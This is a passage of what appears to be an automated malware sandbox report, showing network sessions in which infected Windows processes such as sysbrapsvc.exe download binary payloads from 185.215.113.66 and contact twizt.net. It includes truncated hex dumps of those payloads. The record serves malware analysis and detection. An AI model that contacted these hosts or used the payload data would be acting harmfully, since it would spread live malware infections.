mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:23:03.747245073 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:23:03.747311115 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:23:03.747324944 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49721	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:02.218699932 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:02.561400890 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:02 GMT Content-Type: application/octet-stream Content-Length: 8960 Last-Modified: Mon, 06 May 2024 15:56:03 GMT Connection: keep-alive ETag: "6638fd93-2300" Accept-Ranges: bytes Data Raw: 6e 7d d2 5f ce 4a 45 f2 2e c8 0a 06 01 ad 79 a1 63 76 36 9c 33 9d 4c 75 74 4a ce 78 8a 3c ef f0 d5 e4 b0 26 52 79 67 45 ad 70 d3 3a 4b 36 01 0e c6 16 f8 71 c8 1a 6a e2 64 71 7e b1 1a b9 f6 f8 f9 38 23 3c 26 8e 19 a9 67 be 75 d4 b0 b3 ee 7e 56 8d c9 d6 b2 19 08 98 9c 62 5d 08 84 18 e0 a4 81 52 52 f1 22 2d 57 91 35 b1 be bf 00 34 54 15 7a 9f 37 5a 41 a7 67 fd f5 f0 19 bc cb 4d 5d 3b 33 55 47 d7 29 48 84 09 d2 35 61 aa 27 75 84 62 9b 91 c9 fc d8 ab f6 d3 13 57 89 3f 95 ab 64 63 e7 73 c5 5e 05 a5 42 e3 0f 60 42 17 f5 88 3b 8c 25 27 7a 85 fa 04 37 4a f5 68 71 6d 2b 8a 84 61 c2 56 01 36 4f f4 55 cc fc 6b ff 18 a6 02 24 ce 28 d3 a3 ee 8d ef d1 4b 66 64 4b 50 7b ae d7 0c db 98 be e6 d7 4d 22 0d 84 e4 73 47 48 6f f3 f6 ce cb 17 4c 5d f2 e4 99 c3 e4 ef b5 2d 3d 28 e3 2f c2 fc a5 dc 8a c6 15 02 ae 33 6c f0 40 61 05 5b 9c 9f a9 81 6f 78 43 b8 d7 ca 55 ea 3c 2d c6 35 ea e5 78 8b 82 f5 67 d9 dc eb 87 ef 5c 2a 3d 82 67 a4 20 42 ba a1 a9 6e 52 5a b2 74 d1 ff 58 7d 97 69 5f d5 2e dd 2d 9b 94 06 26 3a 55 d4 63 0c 97 [TRUNCATED] Data Ascii: n}_JE.ycv63LutJx<&RygEp:K6qjdq~8#<&gu~Vb]RR"-W54Tz7ZAgM];3UG)H5a'ubW?dcs^B`B;%'z7Jhqm+aV6OUk$(KfdKP{M"sGHoL]-=(/3l@a[oxCU<-5xg\=g BnRZtX}i_.-&:UcRSTud^3n<YyiiIetwjEJIe9n[~RTz~-g eKqBga-2bgeG\Kk-M5668Gjj+N<"AY<A0PMXZdlLPVevy2lHS2>Nn<p5q7Rpet \w\3]OzWt\<7$Z/BNeoq#q4V5r0%)-`9u%:oF8Li~}WJ3VV0}4tVT[O+27Gt!rn<DI3KI=0FlLW~^'.Am~U<lab+GIJrKEf`.0t}0^"q';1q1?n=:NOrsGDjw_Hi`DkkHjAfi\&y57v~$~H [TRUNCATED]
May 8, 2024 15:23:02.561417103 CEST	1289	IN	Data Raw: f7 94 da 7b e6 b6 fe 0f a6 64 19 c2 ef 0c 25 ba 8a dc 2e e0 30 f4 54 50 75 d1 a6 f4 59 1c b4 b9 d6 5d ff c8 5e 3e 5b 07 7a 96 73 9b ae 22 d8 6b 94 c6 57 3e d8 71 a6 7b 47 b5 fd bf db f8 4c d1 a0 dc 40 6d 3e 69 9d 81 d1 0a 59 7c bc 21 67 cc 11 6c Data Ascii: {d%.0TPuY]^>[zs"kW>q{GL@m>iY\|!gl.8D4JG?x/\@D;=(-Z!fH^;7\|+$=zzC-dyfm3UW:eZP}c\i[^]:_((<E26+W]
May 8, 2024 15:23:02.561436892 CEST	1289	IN	Data Raw: 36 b6 60 d6 42 d5 be b8 10 0f 5e 53 6b 05 0c bb e0 3a fd c1 4c da c6 b2 ce 72 f2 28 ff e2 e4 db da 87 14 d0 4f 41 0e 55 57 fa be d2 25 4d 12 33 a4 70 68 6c 6c 2b a3 44 06 79 cc 95 93 eb 72 2a b2 f0 3b de cd b0 3a c3 dc 34 b8 c3 7d 7f 3e 04 b4 75 Data Ascii: 6`B^Sk:Lr(OAUW%M3phll+Dyr;:4}>u)xAr\IAc:X1v".&9>^Q!4D "Ifh`(^+O1YPMZk(*x6nsclZ28_o0 k@!HuyA
May 8, 2024 15:23:02.561450958 CEST	1289	IN	Data Raw: 93 f1 1e 94 53 39 c9 d2 e2 09 21 6e 04 82 7e 50 d7 b3 b4 7a 0f 0c 6e f7 f3 72 9f 81 e7 4f 18 63 7d f3 82 53 8a c0 24 d3 f8 5f e5 bf 54 41 82 a4 fd fd 43 2d f5 13 2e c4 5b 9d f3 91 c6 f4 2e 55 bd e6 d6 75 a2 c3 d0 94 74 c8 cb 28 b6 dc f0 93 b5 29 Data Ascii: S9!n~PznrOc}S$_TAC-.[.Uut()w~oLYj=e\|qRaf;\o*FsJUS~T,om^&)Nh0/(Fy0qC4AOPp/iP?b4k"/8:V,p#$S=+
May 8, 2024 15:23:02.561553001 CEST	1289	IN	Data Raw: 33 51 0b bf 02 90 7d ae a0 4a f2 d7 4e 24 7a af 58 7f 8c 57 b1 0b ba f7 ad e3 5e a3 5c e2 17 41 70 26 55 dd e1 15 18 42 00 13 72 95 8a e6 0e bd 09 e1 cc 12 1d 94 48 d8 7f 9a a1 3a f8 a8 cd 4e 93 44 96 32 4d c1 d3 0f 72 e9 7c 3f f8 63 58 4c c1 64 Data Ascii: 3Q}JN$zXW^\Ap&UBrH:ND2Mr\|?cXLdydQ]X4&S{81eJE0]'k?mvv@Z\|Bm9+7qd=Sf&x5h_VS>i2J(I-#$4V0
May 8, 2024 15:23:02.561568022 CEST	1289	IN	Data Raw: 75 f2 a4 6e 8c 81 1a ce 92 da 4e 55 fe 12 bc 9a 1d 07 16 a6 2c bb f4 14 e5 47 0e 5a ef 01 75 2d ca 7b 4a 24 d7 7f 58 3b f8 05 9d ad 36 f6 0e 9b 79 24 3d a3 86 9b 25 40 e7 93 e1 8a 71 37 ce 6a e1 85 1b d8 41 0b 62 b1 13 8e f5 76 e9 fe 55 d1 d5 ad Data Ascii: unNU,GZu-{J$X;6y$=%@q7jAbvU#i=a=7C(qPt]:u0-/G3n~ulB41Qtxp{-Mu8H_8`<,d(,rh8zG30J<W@zb
May 8, 2024 15:23:02.561680079 CEST	1289	IN	Data Raw: 22 8e fe 4a ef 62 4e fb 52 d3 10 f6 27 c8 5a 0d 9d 1d 25 85 59 6d 73 a2 2f f1 99 3c 63 a3 86 05 ed 4f 9d 19 fc 5b 79 4c 9c 5d b0 b8 13 8f c1 7b f3 b0 4b c7 c7 1a 66 c4 e8 67 59 56 e9 a8 38 19 67 57 78 8a eb f9 39 3e 92 c1 ed 14 f1 fe 1f 11 e3 ac Data Ascii: "JbNR'Z%Yms/<cO[yL]{KfgYV8gWx9>_tM~Q^>%\-WTTNzroS5]j9G$J,)govS8}BeW9kF,};P.2AE$!t`Gnx\pB
May 8, 2024 15:23:02.561692953 CEST	201	IN	Data Raw: 81 31 21 d8 8e 36 78 b3 2d 82 77 69 8a df 7e 62 18 45 06 17 54 88 d6 0a 13 39 f8 83 01 5f 60 e5 2f e2 a3 e1 ad 97 41 c3 f3 ff 04 87 45 be a8 6c b3 32 c4 02 f6 a3 27 6b b3 e7 12 44 a7 58 da 60 98 22 14 cc 06 3f 84 e5 8b 84 0c 98 a8 be 53 a5 2f 6a Data Ascii: 1!6x-wi~bET9_`/AEl2'kDX`"?S/jeUA?bkXwY;HzObN6<2%8bp2ePK1f:Kd$\kvjZz,{
May 8, 2024 15:23:08.638293982 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:08.981136084 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:08 GMT Content-Type: application/octet-stream Content-Length: 11520 Last-Modified: Sat, 04 May 2024 13:18:06 GMT Connection: keep-alive ETag: "6636358e-2d00" Accept-Ranges: bytes Data Raw: 4d 69 d1 66 af 90 ca ef 04 18 04 8f 9a 4f 78 79 a1 72 45 cd 89 72 d1 57 c0 33 c8 d8 28 db 5b 31 72 fa ec 98 3c 67 3f a8 16 70 92 cc 17 52 3d bb 9c 7b 03 65 25 32 e0 f5 c9 73 9d f1 c1 03 8b 8e 35 d8 88 02 5c 9e 73 f4 5b 07 c1 59 15 e9 c6 f5 e9 ef ad d9 43 18 62 a0 a9 2f 0a 3e 55 89 eb 57 0d 52 27 a6 07 3a 8b a9 bf 6c 43 a0 c6 ec 73 86 2c 9e 66 7d 06 e8 29 fd 4f 06 ba 83 84 25 5e 77 3e ad 2f e6 c8 42 af 31 8c 99 1e c4 f3 8d d4 94 d6 e0 12 42 3f ef 15 eb 39 c4 ff 0d a7 86 c6 e5 10 fc 73 6e ab 62 92 c2 cd 28 06 90 55 e6 71 50 2b 89 99 62 40 9b 39 d1 35 82 0d 31 00 b7 89 c9 29 bb 7d ec b0 ea 71 90 84 34 1d b7 73 e9 b8 4f 66 ae ce b1 f4 c6 6b 53 a3 c4 e2 b8 1a 13 69 8d 8d c5 6e 29 c8 3e 7c 53 2f 76 35 46 20 d0 37 48 e0 81 55 8c 36 e9 2e c7 17 43 32 30 71 9e 05 33 43 0d ba 30 31 91 e7 98 12 0b ba 93 dd 00 de 30 fd 0f 7c 5a 37 06 55 11 28 6f 92 5e b5 c8 f4 c0 78 2a c2 0a fd 4a 0c f8 13 b4 58 8e e9 79 4d 99 7a 1c 94 f8 12 84 db 8c 82 fd 3a 97 f0 92 23 5e 84 cb 02 45 5b 00 bb 11 d2 71 33 9b 87 c5 d8 f7 ce 18 [TRUNCATED] Data Ascii: MifOxyrErW3([1r<g?pR={e%2s5\s[YCb/>UWR':lCs,f})O%^w>/B1B?9snb(UqP+b@951)}q4sOfkSin)>\|S/v5F 7HU6.C20q3C010\|Z7U(o^xJXyMz:#^E[q3L\?w5T_ZA#[jqUyG )1a]rbwlZQuafbnpn3,k#k!rqB9O8XY%pQfC8GDoyPyWo?!/nZzK\|C[-EgEeGpwuyh%,5GjJP!mmHQr)oVJ<Wh#<"Tf+8}K4&sR'{nLgu9NYRs^sA7G2mI8Yj{%aU=Xg&TRg&B5wiroW+8dlnrthwID&4P"T@Uj'E_rMzAl!F}fsunfb3#C4&@@G1 ioC,WAZw.d3!LsF= ?T{ R*M]V?:HK//\|f"?6edfIM"3\Dys:yKhNFwY"oQtyFt9t:" [TRUNCATED]
May 8, 2024 15:23:08.981209040 CEST	1289	IN	Data Raw: fb 97 3d 42 70 69 f4 d0 6a d4 64 5d a9 23 47 e7 52 a7 c1 d7 43 8f cf 0d 5b 9a aa 34 1e 7a 10 5f ac 61 5b 0a 44 53 86 32 fc 6b 44 b6 49 0a c7 40 06 33 92 a6 5d 6c 1e 63 f7 06 96 6e 19 64 25 51 78 ac 38 7c 66 e1 8d 97 78 f2 9d 59 03 21 60 8e 4e 9a Data Ascii: =Bpijd]#GRC[4z_a[DS2kDI@3]lcnd%Qx8\|fxY!`N5zm"@%hlTz?g4Da:2\iTe.AD$F=u<N<>L%Acf5"-+"Zhb'6Y-b<D0Hn6S#}2qV!jVe&yPyXC*
May 8, 2024 15:23:08.981245041 CEST	1289	IN	Data Raw: 1a 46 bb ff b1 fa 98 44 c5 18 6c 9e 0d ec 06 f9 44 ad ac 14 68 8e 3c 37 c7 63 f7 ba f9 8e 1b 7d 54 ce d3 2c 5b d2 fc 55 f9 78 94 81 b2 1f a7 3a b6 3c ec 69 e6 35 7c 15 79 48 36 d9 9e 73 0a 15 67 8d 1f 32 00 43 7d f6 90 4e 5b d7 bf 3b 6d 8a c6 0d Data Ascii: FDlDh<7c}T,[Ux:<i5\|yH6sg2C}N[;mPTHNCSQwcXpRwDF1[^3LTk6QgGt,C`bO?FE`;,fdBlJ1$z/AhCZTK~*KBK<}r5uJ^
May 8, 2024 15:23:08.981338978 CEST	1289	IN	Data Raw: d6 7d f5 5f d9 ad a7 b3 48 ed 48 0f ed d0 a6 96 e0 05 f7 34 23 65 b6 2a 32 d5 2b 99 9e 59 e7 a9 c2 a3 a2 1e 4b aa 64 c1 ae 4e b8 34 7b 57 88 1d d0 92 ef 80 86 9d e5 82 de 2c 4b 34 03 65 a1 e8 4a ba 91 c0 a7 02 74 37 db ea aa 60 a0 a4 7a 12 0d 6d Data Ascii: }_HH4#e2+YKdN4{W,K4eJt7`zmZ5UG?RN'Oio?b[AEvS&;=YFj"a_Y*'ih5T4DrE:o^D0C,cyxD~KlE,P/'mP~S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49722	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:05.119743109 CEST	167	OUT	GET /_3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:05.460170031 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:05 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:44 GMT Connection: keep-alive ETag: "663a7354-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:23:05.460231066 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:23:05.460290909 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:23:05.460385084 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:23:05.460400105 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:23:05.460412979 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:23:05.460448980 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:23:05.460464001 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49723	185.215.113.66	80	2068	C:\Users\user\AppData\Local\Temp\330125677.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:08.219573975 CEST	168	OUT	GET /ALLSTATA HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: twizt.net
May 8, 2024 15:23:08.563103914 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:08 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49724	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:23:10.341459990 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:23:10.685848951 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:10 GMT Content-Type: application/octet-stream Content-Length: 11520 Last-Modified: Sat, 04 May 2024 13:18:06 GMT Connection: keep-alive ETag: "6636358e-2d00" Accept-Ranges: bytes Data Raw: 4d 69 d1 66 af 90 ca ef 04 18 04 8f 9a 4f 78 79 a1 72 45 cd 89 72 d1 57 c0 33 c8 d8 28 db 5b 31 72 fa ec 98 3c 67 3f a8 16 70 92 cc 17 52 3d bb 9c 7b 03 65 25 32 e0 f5 c9 73 9d f1 c1 03 8b 8e 35 d8 88 02 5c 9e 73 f4 5b 07 c1 59 15 e9 c6 f5 e9 ef ad d9 43 18 62 a0 a9 2f 0a 3e 55 89 eb 57 0d 52 27 a6 07 3a 8b a9 bf 6c 43 a0 c6 ec 73 86 2c 9e 66 7d 06 e8 29 fd 4f 06 ba 83 84 25 5e 77 3e ad 2f e6 c8 42 af 31 8c 99 1e c4 f3 8d d4 94 d6 e0 12 42 3f ef 15 eb 39 c4 ff 0d a7 86 c6 e5 10 fc 73 6e ab 62 92 c2 cd 28 06 90 55 e6 71 50 2b 89 99 62 40 9b 39 d1 35 82 0d 31 00 b7 89 c9 29 bb 7d ec b0 ea 71 90 84 34 1d b7 73 e9 b8 4f 66 ae ce b1 f4 c6 6b 53 a3 c4 e2 b8 1a 13 69 8d 8d c5 6e 29 c8 3e 7c 53 2f 76 35 46 20 d0 37 48 e0 81 55 8c 36 e9 2e c7 17 43 32 30 71 9e 05 33 43 0d ba 30 31 91 e7 98 12 0b ba 93 dd 00 de 30 fd 0f 7c 5a 37 06 55 11 28 6f 92 5e b5 c8 f4 c0 78 2a c2 0a fd 4a 0c f8 13 b4 58 8e e9 79 4d 99 7a 1c 94 f8 12 84 db 8c 82 fd 3a 97 f0 92 23 5e 84 cb 02 45 5b 00 bb 11 d2 71 33 9b 87 c5 d8 f7 ce 18 [TRUNCATED] Data Ascii: MifOxyrErW3([1r<g?pR={e%2s5\s[YCb/>UWR':lCs,f})O%^w>/B1B?9snb(UqP+b@951)}q4sOfkSin)>\|S/v5F 7HU6.C20q3C010\|Z7U(o^xJXyMz:#^E[q3L\?w5T_ZA#[jqUyG )1a]rbwlZQuafbnpn3,k#k!rqB9O8XY%pQfC8GDoyPyWo?!/nZzK\|C[-EgEeGpwuyh%,5GjJP!mmHQr)oVJ<Wh#<"Tf+8}K4&sR'{nLgu9NYRs^sA7G2mI8Yj{%aU=Xg&TRg&B5wiroW+8dlnrthwID&4P"T@Uj'E_rMzAl!F}fsunfb3#C4&@@G1 ioC,WAZw.d3!LsF= ?T{ R*M]V?:HK//\|f"?6edfIM"3\Dys:yKhNFwY"oQtyFt9t:" [TRUNCATED]
